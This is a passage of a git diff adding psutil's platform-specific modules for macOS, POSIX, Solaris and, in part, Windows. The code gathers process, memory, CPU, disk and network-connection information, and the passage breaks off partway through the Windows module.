File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,363 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""OSX platform implementation."""
import errno
import functools
import os
from collections import namedtuple
from . import _common
from . import _psposix
from . import _psutil_osx as cext
from . import _psutil_posix as cext_posix
from ._common import conn_tmap, usage_percent, isfile_strict
from ._common import sockfam_to_enum, socktype_to_enum
__extra__all__ = []
# --- constants
PAGESIZE = os.sysconf("SC_PAGE_SIZE")
AF_LINK = cext_posix.AF_LINK
# http://students.mimuw.edu.pl/lxr/source/include/net/tcp_states.h
TCP_STATUSES = {
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV,
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
cext.TCPS_CLOSED: _common.CONN_CLOSE,
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
cext.TCPS_LISTEN: _common.CONN_LISTEN,
cext.TCPS_CLOSING: _common.CONN_CLOSING,
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
}
PROC_STATUSES = {
cext.SIDL: _common.STATUS_IDLE,
cext.SRUN: _common.STATUS_RUNNING,
cext.SSLEEP: _common.STATUS_SLEEPING,
cext.SSTOP: _common.STATUS_STOPPED,
cext.SZOMB: _common.STATUS_ZOMBIE,
}
scputimes = namedtuple('scputimes', ['user', 'nice', 'system', 'idle'])
svmem = namedtuple(
'svmem', ['total', 'available', 'percent', 'used', 'free',
'active', 'inactive', 'wired'])
pextmem = namedtuple('pextmem', ['rss', 'vms', 'pfaults', 'pageins'])
pmmap_grouped = namedtuple(
'pmmap_grouped',
'path rss private swapped dirtied ref_count shadow_depth')
pmmap_ext = namedtuple(
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
# set later from __init__.py
NoSuchProcess = None
ZombieProcess = None
AccessDenied = None
TimeoutExpired = None
# --- functions
def virtual_memory():
"""System virtual memory as a namedtuple."""
total, active, inactive, wired, free = cext.virtual_mem()
avail = inactive + free
used = active + inactive + wired
percent = usage_percent((total - avail), total, _round=1)
return svmem(total, avail, percent, used, free,
active, inactive, wired)
def swap_memory():
"""Swap system memory as a (total, used, free, sin, sout) tuple."""
total, used, free, sin, sout = cext.swap_mem()
percent = usage_percent(used, total, _round=1)
return _common.sswap(total, used, free, percent, sin, sout)
def cpu_times():
"""Return system CPU times as a namedtuple."""
user, nice, system, idle = cext.cpu_times()
return scputimes(user, nice, system, idle)
def per_cpu_times():
"""Return system CPU times as a named tuple"""
ret = []
for cpu_t in cext.per_cpu_times():
user, nice, system, idle = cpu_t
item = scputimes(user, nice, system, idle)
ret.append(item)
return ret
def cpu_count_logical():
"""Return the number of logical CPUs in the system."""
return cext.cpu_count_logical()
def cpu_count_physical():
"""Return the number of physical CPUs in the system."""
return cext.cpu_count_phys()
def boot_time():
"""The system boot time expressed in seconds since the epoch."""
return cext.boot_time()
def disk_partitions(all=False):
retlist = []
partitions = cext.disk_partitions()
for partition in partitions:
device, mountpoint, fstype, opts = partition
if device == 'none':
device = ''
if not all:
if not os.path.isabs(device) or not os.path.exists(device):
continue
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
retlist.append(ntuple)
return retlist
def users():
retlist = []
rawlist = cext.users()
for item in rawlist:
user, tty, hostname, tstamp = item
if tty == '~':
continue # reboot or shutdown
if not tstamp:
continue
nt = _common.suser(user, tty or None, hostname or None, tstamp)
retlist.append(nt)
return retlist
def net_connections(kind='inet'):
# Note: on OSX this will fail with AccessDenied unless
# the process is owned by root.
ret = []
for pid in pids():
try:
cons = Process(pid).connections(kind)
except NoSuchProcess:
continue
else:
if cons:
for c in cons:
c = list(c) + [pid]
ret.append(_common.sconn(*c))
return ret
def net_if_stats():
"""Get NIC stats (isup, duplex, speed, mtu)."""
names = net_io_counters().keys()
ret = {}
for name in names:
isup, duplex, speed, mtu = cext_posix.net_if_stats(name)
if hasattr(_common, 'NicDuplex'):
duplex = _common.NicDuplex(duplex)
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
return ret
pids = cext.pids
pid_exists = _psposix.pid_exists
disk_usage = _psposix.disk_usage
net_io_counters = cext.net_io_counters
disk_io_counters = cext.disk_io_counters
net_if_addrs = cext_posix.net_if_addrs
def wrap_exceptions(fun):
"""Decorator which translates bare OSError exceptions into
NoSuchProcess and AccessDenied.
"""
@functools.wraps(fun)
def wrapper(self, *args, **kwargs):
try:
return fun(self, *args, **kwargs)
except OSError as err:
# support for private module import
if (NoSuchProcess is None or AccessDenied is None or
ZombieProcess is None):
raise
if err.errno == errno.ESRCH:
if not pid_exists(self.pid):
raise NoSuchProcess(self.pid, self._name)
else:
raise ZombieProcess(self.pid, self._name, self._ppid)
if err.errno in (errno.EPERM, errno.EACCES):
raise AccessDenied(self.pid, self._name)
raise
return wrapper
class Process(object):
"""Wrapper class around underlying C implementation."""
__slots__ = ["pid", "_name", "_ppid"]
def __init__(self, pid):
self.pid = pid
self._name = None
self._ppid = None
@wrap_exceptions
def name(self):
return cext.proc_name(self.pid)
@wrap_exceptions
def exe(self):
return cext.proc_exe(self.pid)
@wrap_exceptions
def cmdline(self):
if not pid_exists(self.pid):
raise NoSuchProcess(self.pid, self._name)
return cext.proc_cmdline(self.pid)
@wrap_exceptions
def ppid(self):
return cext.proc_ppid(self.pid)
@wrap_exceptions
def cwd(self):
return cext.proc_cwd(self.pid)
@wrap_exceptions
def uids(self):
real, effective, saved = cext.proc_uids(self.pid)
return _common.puids(real, effective, saved)
@wrap_exceptions
def gids(self):
real, effective, saved = cext.proc_gids(self.pid)
return _common.pgids(real, effective, saved)
@wrap_exceptions
def terminal(self):
tty_nr = cext.proc_tty_nr(self.pid)
tmap = _psposix._get_terminal_map()
try:
return tmap[tty_nr]
except KeyError:
return None
@wrap_exceptions
def memory_info(self):
rss, vms = cext.proc_memory_info(self.pid)[:2]
return _common.pmem(rss, vms)
@wrap_exceptions
def memory_info_ex(self):
rss, vms, pfaults, pageins = cext.proc_memory_info(self.pid)
return pextmem(rss, vms, pfaults * PAGESIZE, pageins * PAGESIZE)
@wrap_exceptions
def cpu_times(self):
user, system = cext.proc_cpu_times(self.pid)
return _common.pcputimes(user, system)
@wrap_exceptions
def create_time(self):
return cext.proc_create_time(self.pid)
@wrap_exceptions
def num_ctx_switches(self):
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
@wrap_exceptions
def num_threads(self):
return cext.proc_num_threads(self.pid)
@wrap_exceptions
def open_files(self):
if self.pid == 0:
return []
files = []
rawlist = cext.proc_open_files(self.pid)
for path, fd in rawlist:
if isfile_strict(path):
ntuple = _common.popenfile(path, fd)
files.append(ntuple)
return files
@wrap_exceptions
def connections(self, kind='inet'):
if kind not in conn_tmap:
raise ValueError("invalid %r kind argument; choose between %s"
% (kind, ', '.join([repr(x) for x in conn_tmap])))
families, types = conn_tmap[kind]
rawlist = cext.proc_connections(self.pid, families, types)
ret = []
for item in rawlist:
fd, fam, type, laddr, raddr, status = item
status = TCP_STATUSES[status]
fam = sockfam_to_enum(fam)
type = socktype_to_enum(type)
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
ret.append(nt)
return ret
@wrap_exceptions
def num_fds(self):
if self.pid == 0:
return 0
return cext.proc_num_fds(self.pid)
@wrap_exceptions
def wait(self, timeout=None):
try:
return _psposix.wait_pid(self.pid, timeout)
except _psposix.TimeoutExpired:
# support for private module import
if TimeoutExpired is None:
raise
raise TimeoutExpired(timeout, self.pid, self._name)
@wrap_exceptions
def nice_get(self):
return cext_posix.getpriority(self.pid)
@wrap_exceptions
def nice_set(self, value):
return cext_posix.setpriority(self.pid, value)
@wrap_exceptions
def status(self):
code = cext.proc_status(self.pid)
# XXX is '?' legit? (we're not supposed to return it anyway)
return PROC_STATUSES.get(code, '?')
@wrap_exceptions
def threads(self):
rawlist = cext.proc_threads(self.pid)
retlist = []
for thread_id, utime, stime in rawlist:
ntuple = _common.pthread(thread_id, utime, stime)
retlist.append(ntuple)
return retlist
@wrap_exceptions
def memory_maps(self):
return cext.proc_memory_maps(self.pid)

View File

@ -0,0 +1,156 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Routines common to all posix systems."""
import errno
import glob
import os
import sys
import time
from ._common import sdiskusage, usage_percent, memoize
from ._compat import PY3, unicode
class TimeoutExpired(Exception):
pass
def pid_exists(pid):
"""Check whether pid exists in the current process table."""
if pid == 0:
# According to "man 2 kill" PID 0 has a special meaning:
# it refers to <<every process in the process group of the
# calling process>> so we don't want to go any further.
# If we get here it means this UNIX platform *does* have
# a process with id 0.
return True
try:
os.kill(pid, 0)
except OSError as err:
if err.errno == errno.ESRCH:
# ESRCH == No such process
return False
elif err.errno == errno.EPERM:
# EPERM clearly means there's a process to deny access to
return True
else:
# According to "man 2 kill" possible error values are
# (EINVAL, EPERM, ESRCH) therefore we should never get
# here. If we do let's be explicit in considering this
# an error.
raise err
else:
return True
def wait_pid(pid, timeout=None):
"""Wait for process with pid 'pid' to terminate and return its
exit status code as an integer.
If pid is not a children of os.getpid() (current process) just
waits until the process disappears and return None.
If pid does not exist at all return None immediately.
Raise TimeoutExpired on timeout expired.
"""
def check_timeout(delay):
if timeout is not None:
if timer() >= stop_at:
raise TimeoutExpired()
time.sleep(delay)
return min(delay * 2, 0.04)
timer = getattr(time, 'monotonic', time.time)
if timeout is not None:
def waitcall():
return os.waitpid(pid, os.WNOHANG)
stop_at = timer() + timeout
else:
def waitcall():
return os.waitpid(pid, 0)
delay = 0.0001
while True:
try:
retpid, status = waitcall()
except OSError as err:
if err.errno == errno.EINTR:
delay = check_timeout(delay)
continue
elif err.errno == errno.ECHILD:
# This has two meanings:
# - pid is not a child of os.getpid() in which case
# we keep polling until it's gone
# - pid never existed in the first place
# In both cases we'll eventually return None as we
# can't determine its exit status code.
while True:
if pid_exists(pid):
delay = check_timeout(delay)
else:
return
else:
raise
else:
if retpid == 0:
# WNOHANG was used, pid is still running
delay = check_timeout(delay)
continue
# process exited due to a signal; return the integer of
# that signal
if os.WIFSIGNALED(status):
return os.WTERMSIG(status)
# process exited using exit(2) system call; return the
# integer exit(2) system call has been called with
elif os.WIFEXITED(status):
return os.WEXITSTATUS(status)
else:
# should never happen
raise RuntimeError("unknown process exit status")
def disk_usage(path):
"""Return disk usage associated with path."""
try:
st = os.statvfs(path)
except UnicodeEncodeError:
if not PY3 and isinstance(path, unicode):
# this is a bug with os.statvfs() and unicode on
# Python 2, see:
# - https://github.com/giampaolo/psutil/issues/416
# - http://bugs.python.org/issue18695
try:
path = path.encode(sys.getfilesystemencoding())
except UnicodeEncodeError:
pass
st = os.statvfs(path)
else:
raise
free = (st.f_bavail * st.f_frsize)
total = (st.f_blocks * st.f_frsize)
used = (st.f_blocks - st.f_bfree) * st.f_frsize
percent = usage_percent(used, total, _round=1)
# NB: the percentage is -5% than what shown by df due to
# reserved blocks that we are currently not considering:
# http://goo.gl/sWGbH
return sdiskusage(total, used, free, percent)
@memoize
def _get_terminal_map():
ret = {}
ls = glob.glob('/dev/tty*') + glob.glob('/dev/pts/*')
for name in ls:
assert name not in ret
try:
ret[os.stat(name).st_rdev] = name
except OSError as err:
if err.errno != errno.ENOENT:
raise
return ret

View File

@ -0,0 +1,553 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Sun OS Solaris platform implementation."""
import errno
import os
import socket
import subprocess
import sys
from collections import namedtuple
from . import _common
from . import _psposix
from . import _psutil_posix as cext_posix
from . import _psutil_sunos as cext
from ._common import isfile_strict, socktype_to_enum, sockfam_to_enum
from ._common import usage_percent
from ._compat import PY3
__extra__all__ = ["CONN_IDLE", "CONN_BOUND"]
PAGE_SIZE = os.sysconf('SC_PAGE_SIZE')
AF_LINK = cext_posix.AF_LINK
CONN_IDLE = "IDLE"
CONN_BOUND = "BOUND"
PROC_STATUSES = {
cext.SSLEEP: _common.STATUS_SLEEPING,
cext.SRUN: _common.STATUS_RUNNING,
cext.SZOMB: _common.STATUS_ZOMBIE,
cext.SSTOP: _common.STATUS_STOPPED,
cext.SIDL: _common.STATUS_IDLE,
cext.SONPROC: _common.STATUS_RUNNING, # same as run
cext.SWAIT: _common.STATUS_WAITING,
}
TCP_STATUSES = {
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
cext.TCPS_SYN_RCVD: _common.CONN_SYN_RECV,
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
cext.TCPS_CLOSED: _common.CONN_CLOSE,
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
cext.TCPS_LISTEN: _common.CONN_LISTEN,
cext.TCPS_CLOSING: _common.CONN_CLOSING,
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
cext.TCPS_IDLE: CONN_IDLE, # sunos specific
cext.TCPS_BOUND: CONN_BOUND, # sunos specific
}
scputimes = namedtuple('scputimes', ['user', 'system', 'idle', 'iowait'])
svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free'])
pextmem = namedtuple('pextmem', ['rss', 'vms'])
pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss', 'anon', 'locked'])
pmmap_ext = namedtuple(
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
# set later from __init__.py
NoSuchProcess = None
ZombieProcess = None
AccessDenied = None
TimeoutExpired = None
# --- functions
disk_io_counters = cext.disk_io_counters
net_io_counters = cext.net_io_counters
disk_usage = _psposix.disk_usage
net_if_addrs = cext_posix.net_if_addrs
def virtual_memory():
# we could have done this with kstat, but imho this is good enough
total = os.sysconf('SC_PHYS_PAGES') * PAGE_SIZE
# note: there's no difference on Solaris
free = avail = os.sysconf('SC_AVPHYS_PAGES') * PAGE_SIZE
used = total - free
percent = usage_percent(used, total, _round=1)
return svmem(total, avail, percent, used, free)
def swap_memory():
sin, sout = cext.swap_mem()
# XXX
# we are supposed to get total/free by doing so:
# http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/
# usr/src/cmd/swap/swap.c
# ...nevertheless I can't manage to obtain the same numbers as 'swap'
# cmdline utility, so let's parse its output (sigh!)
p = subprocess.Popen(['/usr/bin/env', 'PATH=/usr/sbin:/sbin:%s' %
os.environ['PATH'], 'swap', '-l', '-k'],
stdout=subprocess.PIPE)
stdout, stderr = p.communicate()
if PY3:
stdout = stdout.decode(sys.stdout.encoding)
if p.returncode != 0:
raise RuntimeError("'swap -l -k' failed (retcode=%s)" % p.returncode)
lines = stdout.strip().split('\n')[1:]
if not lines:
raise RuntimeError('no swap device(s) configured')
total = free = 0
for line in lines:
line = line.split()
t, f = line[-2:]
t = t.replace('K', '')
f = f.replace('K', '')
total += int(int(t) * 1024)
free += int(int(f) * 1024)
used = total - free
percent = usage_percent(used, total, _round=1)
return _common.sswap(total, used, free, percent,
sin * PAGE_SIZE, sout * PAGE_SIZE)
def pids():
"""Returns a list of PIDs currently running on the system."""
return [int(x) for x in os.listdir('/proc') if x.isdigit()]
def pid_exists(pid):
"""Check for the existence of a unix pid."""
return _psposix.pid_exists(pid)
def cpu_times():
"""Return system-wide CPU times as a named tuple"""
ret = cext.per_cpu_times()
return scputimes(*[sum(x) for x in zip(*ret)])
def per_cpu_times():
"""Return system per-CPU times as a list of named tuples"""
ret = cext.per_cpu_times()
return [scputimes(*x) for x in ret]
def cpu_count_logical():
"""Return the number of logical CPUs in the system."""
try:
return os.sysconf("SC_NPROCESSORS_ONLN")
except ValueError:
# mimic os.cpu_count() behavior
return None
def cpu_count_physical():
"""Return the number of physical CPUs in the system."""
return cext.cpu_count_phys()
def boot_time():
"""The system boot time expressed in seconds since the epoch."""
return cext.boot_time()
def users():
"""Return currently connected users as a list of namedtuples."""
retlist = []
rawlist = cext.users()
localhost = (':0.0', ':0')
for item in rawlist:
user, tty, hostname, tstamp, user_process = item
# note: the underlying C function includes entries about
# system boot, run level and others. We might want
# to use them in the future.
if not user_process:
continue
if hostname in localhost:
hostname = 'localhost'
nt = _common.suser(user, tty, hostname, tstamp)
retlist.append(nt)
return retlist
def disk_partitions(all=False):
"""Return system disk partitions."""
# TODO - the filtering logic should be better checked so that
# it tries to reflect 'df' as much as possible
retlist = []
partitions = cext.disk_partitions()
for partition in partitions:
device, mountpoint, fstype, opts = partition
if device == 'none':
device = ''
if not all:
# Differently from, say, Linux, we don't have a list of
# common fs types so the best we can do, AFAIK, is to
# filter by filesystem having a total size > 0.
if not disk_usage(mountpoint).total:
continue
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
retlist.append(ntuple)
return retlist
def net_connections(kind, _pid=-1):
"""Return socket connections. If pid == -1 return system-wide
connections (as opposed to connections opened by one process only).
Only INET sockets are returned (UNIX are not).
"""
cmap = _common.conn_tmap.copy()
if _pid == -1:
cmap.pop('unix', 0)
if kind not in cmap:
raise ValueError("invalid %r kind argument; choose between %s"
% (kind, ', '.join([repr(x) for x in cmap])))
families, types = _common.conn_tmap[kind]
rawlist = cext.net_connections(_pid, families, types)
ret = set()
for item in rawlist:
fd, fam, type_, laddr, raddr, status, pid = item
if fam not in families:
continue
if type_ not in types:
continue
status = TCP_STATUSES[status]
fam = sockfam_to_enum(fam)
type_ = socktype_to_enum(type_)
if _pid == -1:
nt = _common.sconn(fd, fam, type_, laddr, raddr, status, pid)
else:
nt = _common.pconn(fd, fam, type_, laddr, raddr, status)
ret.add(nt)
return list(ret)
def net_if_stats():
"""Get NIC stats (isup, duplex, speed, mtu)."""
ret = cext.net_if_stats()
for name, items in ret.items():
isup, duplex, speed, mtu = items
if hasattr(_common, 'NicDuplex'):
duplex = _common.NicDuplex(duplex)
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
return ret
def wrap_exceptions(fun):
"""Call callable into a try/except clause and translate ENOENT,
EACCES and EPERM in NoSuchProcess or AccessDenied exceptions.
"""
def wrapper(self, *args, **kwargs):
try:
return fun(self, *args, **kwargs)
except EnvironmentError as err:
# support for private module import
if (NoSuchProcess is None or AccessDenied is None or
ZombieProcess is None):
raise
# ENOENT (no such file or directory) gets raised on open().
# ESRCH (no such process) can get raised on read() if
# process is gone in meantime.
if err.errno in (errno.ENOENT, errno.ESRCH):
if not pid_exists(self.pid):
raise NoSuchProcess(self.pid, self._name)
else:
raise ZombieProcess(self.pid, self._name, self._ppid)
if err.errno in (errno.EPERM, errno.EACCES):
raise AccessDenied(self.pid, self._name)
raise
return wrapper
class Process(object):
"""Wrapper class around underlying C implementation."""
__slots__ = ["pid", "_name", "_ppid"]
def __init__(self, pid):
self.pid = pid
self._name = None
self._ppid = None
@wrap_exceptions
def name(self):
# note: max len == 15
return cext.proc_name_and_args(self.pid)[0]
@wrap_exceptions
def exe(self):
# Will be guess later from cmdline but we want to explicitly
# invoke cmdline here in order to get an AccessDenied
# exception if the user has not enough privileges.
self.cmdline()
return ""
@wrap_exceptions
def cmdline(self):
return cext.proc_name_and_args(self.pid)[1].split(' ')
@wrap_exceptions
def create_time(self):
return cext.proc_basic_info(self.pid)[3]
@wrap_exceptions
def num_threads(self):
return cext.proc_basic_info(self.pid)[5]
@wrap_exceptions
def nice_get(self):
# For some reason getpriority(3) return ESRCH (no such process)
# for certain low-pid processes, no matter what (even as root).
# The process actually exists though, as it has a name,
# creation time, etc.
# The best thing we can do here appears to be raising AD.
# Note: tested on Solaris 11; on Open Solaris 5 everything is
# fine.
try:
return cext_posix.getpriority(self.pid)
except EnvironmentError as err:
# 48 is 'operation not supported' but errno does not expose
# it. It occurs for low system pids.
if err.errno in (errno.ENOENT, errno.ESRCH, 48):
if pid_exists(self.pid):
raise AccessDenied(self.pid, self._name)
raise
@wrap_exceptions
def nice_set(self, value):
if self.pid in (2, 3):
# Special case PIDs: internally setpriority(3) return ESRCH
# (no such process), no matter what.
# The process actually exists though, as it has a name,
# creation time, etc.
raise AccessDenied(self.pid, self._name)
return cext_posix.setpriority(self.pid, value)
@wrap_exceptions
def ppid(self):
return cext.proc_basic_info(self.pid)[0]
@wrap_exceptions
def uids(self):
real, effective, saved, _, _, _ = cext.proc_cred(self.pid)
return _common.puids(real, effective, saved)
@wrap_exceptions
def gids(self):
_, _, _, real, effective, saved = cext.proc_cred(self.pid)
return _common.puids(real, effective, saved)
@wrap_exceptions
def cpu_times(self):
user, system = cext.proc_cpu_times(self.pid)
return _common.pcputimes(user, system)
@wrap_exceptions
def terminal(self):
hit_enoent = False
tty = wrap_exceptions(
cext.proc_basic_info(self.pid)[0])
if tty != cext.PRNODEV:
for x in (0, 1, 2, 255):
try:
return os.readlink('/proc/%d/path/%d' % (self.pid, x))
except OSError as err:
if err.errno == errno.ENOENT:
hit_enoent = True
continue
raise
if hit_enoent:
# raise NSP if the process disappeared on us
os.stat('/proc/%s' % self.pid)
@wrap_exceptions
def cwd(self):
# /proc/PID/path/cwd may not be resolved by readlink() even if
# it exists (ls shows it). If that's the case and the process
# is still alive return None (we can return None also on BSD).
# Reference: http://goo.gl/55XgO
try:
return os.readlink("/proc/%s/path/cwd" % self.pid)
except OSError as err:
if err.errno == errno.ENOENT:
os.stat("/proc/%s" % self.pid)
return None
raise
@wrap_exceptions
def memory_info(self):
ret = cext.proc_basic_info(self.pid)
rss, vms = ret[1] * 1024, ret[2] * 1024
return _common.pmem(rss, vms)
# it seems Solaris uses rss and vms only
memory_info_ex = memory_info
@wrap_exceptions
def status(self):
code = cext.proc_basic_info(self.pid)[6]
# XXX is '?' legit? (we're not supposed to return it anyway)
return PROC_STATUSES.get(code, '?')
@wrap_exceptions
def threads(self):
ret = []
tids = os.listdir('/proc/%d/lwp' % self.pid)
hit_enoent = False
for tid in tids:
tid = int(tid)
try:
utime, stime = cext.query_process_thread(
self.pid, tid)
except EnvironmentError as err:
# ENOENT == thread gone in meantime
if err.errno == errno.ENOENT:
hit_enoent = True
continue
raise
else:
nt = _common.pthread(tid, utime, stime)
ret.append(nt)
if hit_enoent:
# raise NSP if the process disappeared on us
os.stat('/proc/%s' % self.pid)
return ret
@wrap_exceptions
def open_files(self):
retlist = []
hit_enoent = False
pathdir = '/proc/%d/path' % self.pid
for fd in os.listdir('/proc/%d/fd' % self.pid):
path = os.path.join(pathdir, fd)
if os.path.islink(path):
try:
file = os.readlink(path)
except OSError as err:
# ENOENT == file which is gone in the meantime
if err.errno == errno.ENOENT:
hit_enoent = True
continue
raise
else:
if isfile_strict(file):
retlist.append(_common.popenfile(file, int(fd)))
if hit_enoent:
# raise NSP if the process disappeared on us
os.stat('/proc/%s' % self.pid)
return retlist
def _get_unix_sockets(self, pid):
"""Get UNIX sockets used by process by parsing 'pfiles' output."""
# TODO: rewrite this in C (...but the damn netstat source code
# does not include this part! Argh!!)
cmd = "pfiles %s" % pid
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, stderr = p.communicate()
if PY3:
stdout, stderr = [x.decode(sys.stdout.encoding)
for x in (stdout, stderr)]
if p.returncode != 0:
if 'permission denied' in stderr.lower():
raise AccessDenied(self.pid, self._name)
if 'no such process' in stderr.lower():
raise NoSuchProcess(self.pid, self._name)
raise RuntimeError("%r command error\n%s" % (cmd, stderr))
lines = stdout.split('\n')[2:]
for i, line in enumerate(lines):
line = line.lstrip()
if line.startswith('sockname: AF_UNIX'):
path = line.split(' ', 2)[2]
type = lines[i - 2].strip()
if type == 'SOCK_STREAM':
type = socket.SOCK_STREAM
elif type == 'SOCK_DGRAM':
type = socket.SOCK_DGRAM
else:
type = -1
yield (-1, socket.AF_UNIX, type, path, "", _common.CONN_NONE)
@wrap_exceptions
def connections(self, kind='inet'):
ret = net_connections(kind, _pid=self.pid)
# The underlying C implementation retrieves all OS connections
# and filters them by PID. At this point we can't tell whether
# an empty list means there were no connections for process or
# process is no longer active so we force NSP in case the PID
# is no longer there.
if not ret:
os.stat('/proc/%s' % self.pid) # will raise NSP if process is gone
# UNIX sockets
if kind in ('all', 'unix'):
ret.extend([_common.pconn(*conn) for conn in
self._get_unix_sockets(self.pid)])
return ret
nt_mmap_grouped = namedtuple('mmap', 'path rss anon locked')
nt_mmap_ext = namedtuple('mmap', 'addr perms path rss anon locked')
@wrap_exceptions
def memory_maps(self):
def toaddr(start, end):
return '%s-%s' % (hex(start)[2:].strip('L'),
hex(end)[2:].strip('L'))
retlist = []
rawlist = cext.proc_memory_maps(self.pid)
hit_enoent = False
for item in rawlist:
addr, addrsize, perm, name, rss, anon, locked = item
addr = toaddr(addr, addrsize)
if not name.startswith('['):
try:
name = os.readlink('/proc/%s/path/%s' % (self.pid, name))
except OSError as err:
if err.errno == errno.ENOENT:
# sometimes the link may not be resolved by
# readlink() even if it exists (ls shows it).
# If that's the case we just return the
# unresolved link path.
# This seems an incosistency with /proc similar
# to: http://goo.gl/55XgO
name = '/proc/%s/path/%s' % (self.pid, name)
hit_enoent = True
else:
raise
retlist.append((addr, perm, name, rss, anon, locked))
if hit_enoent:
# raise NSP if the process disappeared on us
os.stat('/proc/%s' % self.pid)
return retlist
@wrap_exceptions
def num_fds(self):
return len(os.listdir("/proc/%s/fd" % self.pid))
@wrap_exceptions
def num_ctx_switches(self):
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
@wrap_exceptions
def wait(self, timeout=None):
try:
return _psposix.wait_pid(self.pid, timeout)
except _psposix.TimeoutExpired:
# support for private module import
if TimeoutExpired is None:
raise
raise TimeoutExpired(timeout, self.pid, self._name)

View File

@ -0,0 +1,584 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Windows platform implementation."""
import errno
import functools
import os
import sys
from collections import namedtuple
from . import _common
from . import _psutil_windows as cext
from ._common import conn_tmap, usage_percent, isfile_strict
from ._common import sockfam_to_enum, socktype_to_enum
from ._compat import PY3, xrange, lru_cache, long
from ._psutil_windows import (ABOVE_NORMAL_PRIORITY_CLASS,
BELOW_NORMAL_PRIORITY_CLASS,
HIGH_PRIORITY_CLASS,
IDLE_PRIORITY_CLASS,
NORMAL_PRIORITY_CLASS,
REALTIME_PRIORITY_CLASS)
if sys.version_info >= (3, 4):
import enum
else:
enum = None
# process priority constants, import from __init__.py:
# http://msdn.microsoft.com/en-us/library/ms686219(v=vs.85).aspx
__extra__all__ = ["ABOVE_NORMAL_PRIORITY_CLASS", "BELOW_NORMAL_PRIORITY_CLASS",
"HIGH_PRIORITY_CLASS", "IDLE_PRIORITY_CLASS",
"NORMAL_PRIORITY_CLASS", "REALTIME_PRIORITY_CLASS",
"CONN_DELETE_TCB",
"AF_LINK",
]
# --- module level constants (gets pushed up to psutil module)
CONN_DELETE_TCB = "DELETE_TCB"
WAIT_TIMEOUT = 0x00000102 # 258 in decimal
ACCESS_DENIED_SET = frozenset([errno.EPERM, errno.EACCES,
cext.ERROR_ACCESS_DENIED])
if enum is None:
AF_LINK = -1
else:
AddressFamily = enum.IntEnum('AddressFamily', {'AF_LINK': -1})
AF_LINK = AddressFamily.AF_LINK
TCP_STATUSES = {
cext.MIB_TCP_STATE_ESTAB: _common.CONN_ESTABLISHED,
cext.MIB_TCP_STATE_SYN_SENT: _common.CONN_SYN_SENT,
cext.MIB_TCP_STATE_SYN_RCVD: _common.CONN_SYN_RECV,
cext.MIB_TCP_STATE_FIN_WAIT1: _common.CONN_FIN_WAIT1,
cext.MIB_TCP_STATE_FIN_WAIT2: _common.CONN_FIN_WAIT2,
cext.MIB_TCP_STATE_TIME_WAIT: _common.CONN_TIME_WAIT,
cext.MIB_TCP_STATE_CLOSED: _common.CONN_CLOSE,
cext.MIB_TCP_STATE_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
cext.MIB_TCP_STATE_LAST_ACK: _common.CONN_LAST_ACK,
cext.MIB_TCP_STATE_LISTEN: _common.CONN_LISTEN,
cext.MIB_TCP_STATE_CLOSING: _common.CONN_CLOSING,
cext.MIB_TCP_STATE_DELETE_TCB: CONN_DELETE_TCB,
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
}
if enum is not None:
class Priority(enum.IntEnum):
ABOVE_NORMAL_PRIORITY_CLASS = ABOVE_NORMAL_PRIORITY_CLASS
BELOW_NORMAL_PRIORITY_CLASS = BELOW_NORMAL_PRIORITY_CLASS
HIGH_PRIORITY_CLASS = HIGH_PRIORITY_CLASS
IDLE_PRIORITY_CLASS = IDLE_PRIORITY_CLASS
NORMAL_PRIORITY_CLASS = NORMAL_PRIORITY_CLASS
REALTIME_PRIORITY_CLASS = REALTIME_PRIORITY_CLASS
globals().update(Priority.__members__)
scputimes = namedtuple('scputimes', ['user', 'system', 'idle'])
svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free'])
pextmem = namedtuple(
'pextmem', ['num_page_faults', 'peak_wset', 'wset', 'peak_paged_pool',
'paged_pool', 'peak_nonpaged_pool', 'nonpaged_pool',
